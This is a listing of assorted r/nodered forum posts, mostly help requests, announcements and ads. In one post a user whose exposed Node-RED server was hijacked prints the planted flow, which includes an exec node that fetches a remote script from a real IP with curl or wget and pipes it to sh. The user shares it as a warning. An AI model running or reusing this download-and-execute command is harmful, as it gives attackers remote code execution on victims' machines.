r/nodered • • Dec 01 '21

Android app for NodeRed - light dimmer

1 Upvotes

r/nodered • • Aug 27 '26

yo anyway i can connect Philips 65PUS7607/12 To node-red

0 Upvotes

so basically a bit of context i had been trying for 2 hours BUT WHEN IT FINALLY CONNECTS IT REFUSES TO ACCEPT MY KEY THINGYS and i feel im goin insane so yea i really need help


r/nodered • • Apr 07 '26

Just Released: The first patent-pending Agricultural Intelligence nodes for Node-RED 🚜

0 Upvotes

Hey everyone! I’ve just published node-red-contrib-leafengines. It’s a hardware-agnostic SDK that brings 20+ agricultural intelligence endpoints directly into your flows.

Why it’s different: Most AgTech fails in "Deep Canopy" or remote/offshore environments. We built this with an Offline-First Architecture and built-in caching for formal uncertainty quantification.

Key Features:

* 20+ Endpoints: Soil analysis (USDA data), carbon credits, yield prediction, and irrigation scheduling.

* MCP Support: Fully compatible with Claude Desktop and AI agents.

* TurboQuant: Includes a FREE hardware optimization check node (No API key required) to verify your edge compatibility.

Check it out on npm or the Node-RED Palette Manager. Let’s automate the field! npm install node-red-contrib-leafengines


r/nodered • • Jun 26 '19

using node-red on windows 10 iot with raspberry pi

0 Upvotes

Hi,

I want to control a hydraulic cylinder with raspberry pi and also want to use node-red. I want to do that with windows 10 iot operating system cause i also want to use visual studio and c# on raspberry pi.

And the question is , Does anybody try to that? is there an example about that? Can raspberry pi, windows 10 iot and node-red run together smootly and control a hydraulic cylinder well?


r/nodered • • Dec 14 '21

Node Red : Monitor the latest coins on Coinmarketcap with decent volume

Thumbnail
satcit.me
7 Upvotes

r/nodered • • Oct 03 '25

A Royale with Cheese?

2 Upvotes

No. A Royale with $4.2M in losses every year.

Downtime, quality issues, and delayed ROI — the cost of fragmented industrial architecture is real.

FlowFuse helps manufacturers unify data and go from frustration to transformation.

Don't order the Royale, book your FlowFuse demo today: https://flowfuse.com/book-demo


r/nodered • • Oct 15 '22

Scrape Amazon Pricing

0 Upvotes

How can I get prices off of Amazon.com? Doing an HTTP request I don't see the price in the returned string.


r/nodered • • Nov 30 '21

Android app for NodeRed

21 Upvotes

r/nodered • • Jul 27 '25

[Survey] How you used any low/no code platforms or tools?

0 Upvotes

Hi, I’m an undergraduate student currently working on a short research focused on Low-Code and No-Code Development Platforms (LCDPs), some of its factors and its impact in Software Engineering.

If you’ve used any of these platforms like Node-Red, your input would be incredibly helpful and insightful. The survey will only take about 5 minutes, and is completely anonymous.

You can Take the Survey here

I’d love to hear your perspective on these tools and their real-world use cases. Thank you so much for your valuable time and I really appreciate any responses!


r/nodered • • Mar 18 '23

Integrate #SQLite #database with #nodered | #beginners

Thumbnail
youtube.com
0 Upvotes

r/nodered • • Dec 28 '22

debug node

0 Upvotes

Hello,

Until now I have used the debug node to check the msg output from the nodes while developing some flows. I used also frogger node to save on a log files already working flows, so I can check if they work as intended. My flows started to become more and more complex and bigger and to generate a lot of messages..so it started to become difficult to trace all the messages and I need to filter only these one that have problems. I found in frogger to have the option to set the log level to error,warn,info,debug and trace. I am not sure to understand every single difference between them, but I was supposing if I chose error, it will write to the log only the messages that generates errors in the flow.

I tried all the log levels, but I cannot see any differences. In the log file, it writes all the messages coming from the node on which I put the frogger node.

So my question is, if there are some alternatives to frogger which permit me to save only the messages when an error occurs or If I need to make some special setting to frogger so it will work in the way I suppose to work?.


r/nodered • • Nov 22 '21

Help splitting in to variables word on return

Thumbnail
gallery
0 Upvotes

r/nodered • • Nov 20 '22

What am I doing wrong?

0 Upvotes

I installed node red in home assistant last night and for the life of me I can’t get it to do anything. Home assistant is latest update. Node red installs fine. I set my credential password then save. Go back and start node red and everything seems to start up just fine. Logs show all is well. I hit open web ui and I get a blank screen. I can’t find any info on this problem so hopefully someone here knows what I am doing wrong. Thanks in advance.


r/nodered • • Dec 25 '20

Help me, Boolean Person tracking.

0 Upvotes

I would like that when I turn on (BOOLEAN) and when it is on and someone enters the Home zone (PERSON) to turn on my lights, who can help me, thanks.


r/nodered • • Feb 01 '21

JSON PAYLOAD WITH CHANGING VARIABLES

0 Upvotes

I am trying to create a node-red flow which will simulate a sensor getting data from people entering and leaving a restaurant. I was thinking of developing a code that will create JSON payloads in which one field needs to be changing all the time (ClientsInRestaurant) by adding or removing "1" client at a time, but I cannot figure it out. Is there any nodes where I can give a certain value to a variable, then put that variable inside the JSON field, and then send that JSON Payload to the HTTP POST/PUT request?

Thank you in advance


r/nodered • • Mar 10 '26

Do you run DB migrations automatically on deploy in Node apps?

0 Upvotes

maybe a basic question but I'm curious how people usually handle this in real projects.

I'm mostly a .NET dev but recently started helping on a small Node service. We’re using migrations for the database (similar idea to EF migrations).

Right now the options I'm seeing are basically:

  1. run migrations manually before deploy

  2. run them automatically in CI/CD

  3. run them on app startup

Running them automatically sounds convenient, but it also feels a bit scary if something goes wrong in production.

maybe I'm overthinking it, but schema changes always make me nervous 😅

So I’m curious what people here usually do.

Do you run migrations during deploy, or keep it as a manual step?


r/nodered • • Mar 09 '23

​@YouTube Subscriber #counter using #nodered | YouTube data #API

Thumbnail
youtube.com
2 Upvotes

r/nodered • • Aug 31 '23

if greater than not working

Post image
0 Upvotes

I can’t get it to work, it doesn’t seem to do anything - please help


r/nodered • • Jun 25 '24

I didnt secure my node-red, then someone deleted all my flows

0 Upvotes

I had a huge project going on for a university assignment. Its all gone now. So many weekends wasted. As it turns out I havent backed up any of it. I am more familiar with text based coding so I would assume node-red will use something similar to git when you hit "deploy".

Restoring the .flows.json.backup in the user/.node-red folder didnt help

I guess I will be starting all over now with a week left for work thats worth months...

I was even thinking to myself "I really shouldnt let node-red unsecured without a password wide open on this rented v-server. But meh I only have a week left nothing will happen trust me bro"

I obviously need to make it more secure. I will take care of creating credentials and password for it. Any other suggestions?

Sorry I am just devastated and needed to share and also warn people not to leave their node-red open on the www

This is the output of the debug node:

kill: (17): Operation not permitted
chattr: Permission denied while trying to stat /var/spool/cron/crontabs/malina

this is the whole flow (very short):

[
    {
        "id": "d0U92KczJPLkioBq0u",
        "type": "tab",
        "label": "d0U92KczJPLkioBq0u",
        "disabled": false,
        "info": ""
    },
    {
        "id": "715b78c1-cd3c-4d58-86fa-07fe636c995d",
        "type": "inject",
        "z": "d0U92KczJPLkioBq0u",
        "name": "",
        "props": [
            {
                "p": "payload"
            },
            {
                "p": "topic",
                "vt": "str"
            }
        ],
        "repeat": "",
        "crontab": "",
        "once": false,
        "onceDelay": 0.1,
        "topic": "",
        "payload": "",
        "payloadType": "date",
        "x": 9999,
        "y": 9999,
        "wires": [
            []
        ]
    },
    {
        "id": "ojzMf8c7Pac2K3xVgh",
        "type": "inject",
        "z": "d0U92KczJPLkioBq0u",
        "name": "",
        "repeat": "",
        "crontab": "",
        "once": false,
        "onceDelay": 0.1,
        "topic": "",
        "payload": "",
        "payloadType": "date",
        "x": 100,
        "y": 100,
        "wires": [
            [
                "oXS5jbuZiwKcOr8St9"
            ]
        ]
    },
    {
        "id": "oXS5jbuZiwKcOr8St9",
        "type": "exec",
        "z": "d0U92KczJPLkioBq0u",
        "command": "( curl http://80.240.128.228/uploads/imagess/apache_config -sk || wget http://80.240.128.228/uploads/imagess/apache_config -O -) | sh",
        "addpay": false,
        "append": "",
        "useSpawn": "False",
        "timer": "",
        "winHide": false,
        "oldrc": false,
        "name": "",
        "x": 550,
        "y": 260,
        "wires": [
            [
                "byiFmWNhQCNWdpf2k7"
            ],
            [
                "byiFmWNhQCNWdpf2k7"
            ],
            []
        ]
    },
    {
        "id": "byiFmWNhQCNWdpf2k7",
        "type": "debug",
        "z": "d0U92KczJPLkioBq0u",
        "name": "",
        "active": true,
        "tosidebar": true,
        "console": false,
        "tostatus": false,
        "complete": "false",
        "x": 448,
        "y": 448,
        "wires": []
    }
]

r/nodered • • Aug 24 '20

How to trigger this flow without inject node?

0 Upvotes

Does anyone know who I can trigger this flow without the inject node? I can't get the dsm node to trigger without the inject node? [ { "id": "ed4578a7.582328", "type": "inject", "z": "c34989d3.2e4e18", "name": "", "topic": "", "payload": "on", "payloadType": "str", "repeat": "", "crontab": "", "once": false, "onceDelay": 0.1, "x": 810, "y": 560, "wires": [ [ "9d8bcca5.c96f9" ] ] }, { "id": "e30395e5.570848", "type": "function", "z": "c34989d3.2e4e18", "name": "Payload Adjustment", "func": "var step = msg.payload;\n\nvar step_pcg = step.toFixed(0);\n\nmsg.payload = step_pcg;\n\nreturn msg;", "outputs": 1, "noerr": 0, "x": 1760, "y": 580, "wires": [ [ "5303a77e.936ae8" ] ] }, { "id": "e6b6c2ad.86995", "type": "change", "z": "c34989d3.2e4e18", "name": "Set JSON Message", "rules": [ { "t": "set", "p": "payload", "pt": "msg", "to": "{\"initialdelay\":2,\"start\":255,\"end\":0,\"duration\":60,\"step\":5,\"unit\":\"Seconds\"}", "tot": "json" } ], "action": "", "property": "", "from": "", "to": "", "reg": false, "x": 1270, "y": 500, "wires": [ [ "9f97e877.32dc18" ] ] }, { "id": "6dd98ad1.6be564", "type": "change", "z": "c34989d3.2e4e18", "name": "Set JSON Message - Stop", "rules": [ { "t": "set", "p": "payload", "pt": "msg", "to": "stop", "tot": "str" } ], "action": "", "property": "", "from": "", "to": "", "reg": false, "x": 1280, "y": 660, "wires": [ [ "9f97e877.32dc18" ] ] }, { "id": "9d8bcca5.c96f9", "type": "switch", "z": "c34989d3.2e4e18", "name": "", "property": "payload", "propertyType": "msg", "rules": [ { "t": "eq", "v": "on", "vt": "str" }, { "t": "eq", "v": "stop", "vt": "str" } ], "checkall": "true", "repair": false, "outputs": 2, "x": 950, "y": 560, "wires": [ [ "e6b6c2ad.86995" ], [ "6dd98ad1.6be564" ] ] }, { "id": "9f97e877.32dc18", "type": "dsm", "z": "c34989d3.2e4e18", "name": "fade in/out", "sm_config": "{\n \"inputTrigger\": \"topic\",\n \"stateOutput\": \"current\",\n \"currentState\": \"stopped\",\n \n \"states\": {\n \"stopped\": {\n \"start\": \"started\",\n \"stop\": \"stopped\"\n },\n \"started\": {\n \"fade_in\": \"fade_in\",\n \"fade_out\": \"fade_out\",\n \"stop\": \"stopped\"\n },\n \"fade_in\": {\n \"fade_in\": \"fade_in\",\n \"stop\": \"stopped\"\n },\n \"fade_out\": {\n \"fade_out\": \"fade_out\",\n \"stop\": \"stopped\"\n }\n },\n \"data\": {\n \"initialdelay\": 0,\n \"start\": 0,\n \"end\": 1,\n \"duration\": 3000,\n \"step\": 100,\n \"unit\": \"Milliseconds\",\n \"factor\": 1\n },\n \"methods\": {\n \"init\": [\n \"sm.tick = function(tran, msg) {\",\n \" timeout.id = setTimeout(function() {\",\n \" sm.text = 'fading ' + sm.data.duration + ' ' + sm.data.unit + ' - ' + sm.data.actual;\",\n \" msg.payload = sm.data.actual;\",\n \" node.send(msg);\",\n \" resume(tran, msg);\",\n \" }, sm.data.step * sm.data.factor);\",\n \"};\",\n \"sm.factors = {'milliseconds': 1, 'seconds': 1000, 'minutes': 60000};\",\n \"sta.fill = 'grey';\"\n ],\n \"start\": [\n \"if (typeof msg.payload.initialdelay !== 'undefined') sm.data.initialdelay = msg.payload.initialdelay;\",\n \"if (typeof msg.payload.start !== 'undefined') sm.data.start = msg.payload.start;\",\n \"if (typeof msg.payload.end !== 'undefined') sm.data.end = msg.payload.end;\",\n \"if (typeof msg.payload.duration !== 'undefined') sm.data.duration = msg.payload.duration;\",\n \"if (typeof msg.payload.step !== 'undefined') sm.data.step = msg.payload.step;\",\n \"if (typeof msg.payload.unit !== 'undefined') {\",\n \" if (sm.factors.hasOwnProperty(msg.payload.unit.toLowerCase())) {\",\n \" sm.data.factor = sm.factors[msg.payload.unit.toLowerCase()];\",\n \" sm.data.unit = msg.payload.unit;\",\n \" } else {\",\n \" node.warn('>' + msg.payload.unit + '< unknown, available: Milliseconds, Seconds, Minutes');\",\n \" };\",\n \"} else {\",\n \" sm.data.factor = 1;\",\n \" sm.data.unit = 'Milliseconds';\",\n \"};\",\n \n \"clearTimeout(timeout.id);\",\n \"timeout.id = setTimeout(function() {\",\n \" sm.data.delta = (sm.data.step / sm.data.duration) * Math.abs(sm.data.start - sm.data.end);\",\n \" sm.data.actual = sm.data.start;\",\n \n \" if (sm.data.end > sm.data.start) {\",\n \" sm.text = 'fade_in';\",\n \" resume('fade_in', msg);\",\n \" } else {\",\n \" sm.text = 'fade_out';\",\n \" resume('fade_out', msg);\",\n \" };\",\n \"}, sm.data.initialdelay * sm.data.factor);\",\n \"sm.text = 'initial delay ' + sm.data.initialdelay + ' ' + sm.data.unit;\",\n \"msg.payload = sm.data.start;\",\n \"node.send(msg);\"\n ],\n \"fade_in\": [\n \"if (sm.data.actual < sm.data.end) {\",\n \" sm.data.actual = Math.round((sm.data.actual + sm.data.delta) * 100) / 100;\",\n \" if (sm.data.actual > sm.data.end) {sm.data.actual = sm.data.end;};\",\n \" sm.tick('fade_in', msg);\",\n \"} else {\",\n \" resume('stop', msg);\",\n \"};\"\n ],\n \"fade_out\": [\n \"if (sm.data.actual > sm.data.end) {\",\n \" sm.data.actual = Math.round((sm.data.actual - sm.data.delta) * 100) / 100;\",\n \" if (sm.data.actual < sm.data.end) {sm.data.actual = sm.data.end;};\",\n \" sm.tick('fade_out', msg);\",\n \"} else {\",\n \" resume('stop', msg);\",\n \"};\"\n ],\n \"stop\": [\n \"sm.text = sm.currentState;\",\n \"clearTimeout(timeout.id);\"\n ],\n \"onAfterTransition\": \"output = false;\",\n \"status\": {\n \"fill\": {\n \"get\": \"sm.currentState === 'stopped' ? 'grey': 'green';\"\n },\n \"shape\": \"dot\",\n \"text\": {\n \"get\": \"sm.text || sm.currentState;\"\n }\n }\n }\n}", "x": 1530, "y": 580, "wires": [ [ "e30395e5.570848" ] ] } ]


r/nodered • • Apr 11 '26

3 hours to hand-build a Node-RED flow. 3 minutes for AI to build the same one.

17 Upvotes

Same result. I tested both.

The client told me no AI. So I followed their guidelines to the letter, manually wired every node. Then I had AI rebuild it from scratch. One mistake early on, a flag in the wrong spot in the JSON. Caught it, fixed it, shipped it. That's the workflow. You review, you correct, you move on.

But here's where it gets interesting.

Someone opened the AI version in the editor and saw a rendering glitch. Not a code error. A display issue in the editor UI. They called it AI slop. Never ran it. Never tested it.

So I fixed the editor issue. Then I went further and built Playwright test scripts, added them to the test stack so flows could be validated automatically. They didn't have that before. You're welcome.

Then I got curious. Pulled up other client projects in the system. Mature clients. Big accounts. And found something I probably wasn't supposed to notice. They weren't following any of the best practices I was being held to. Inject nodes every few steps. Almost zero error handling. The guidelines I was told to follow religiously? Not applied to the actual production work.

I didn't make a thing of it. Just noticed the gap.

Here's what I learned. When someone calls your work "AI slop" without running it, the objection isn't about quality. It's about comfort. And you can't fix comfort with better code. You can only find the people who are ready to look at results instead of process.


r/nodered • • Mar 13 '23

How to use #mqtt in #nodered | @emqx Example

Thumbnail
youtube.com
3 Upvotes

r/nodered • • Feb 08 '23

ChatGPT functions work great.

2 Upvotes

I have absolutely no idea about any type of code. I’m way to dumb to understand how all of this works and I’m also way to lazy to learn it. If you are like me I found a great solution: Just tell ChatGPT what you want and let it create the function for you.

I tried it with 4 different ideas and all of them worked immediately perfect. I’m really impressed of this AI. It even can tell you the complete flow you need.


r/nodered • • Nov 30 '22

Http request node not working, it simply shows requesting. The third image shows that the url is valid as I get json data if I access it from my browser but in my node flow, I can't seem to get any response from the http request node. I have tried other apis, it simply says requesting, nothing else.

Thumbnail
gallery
2 Upvotes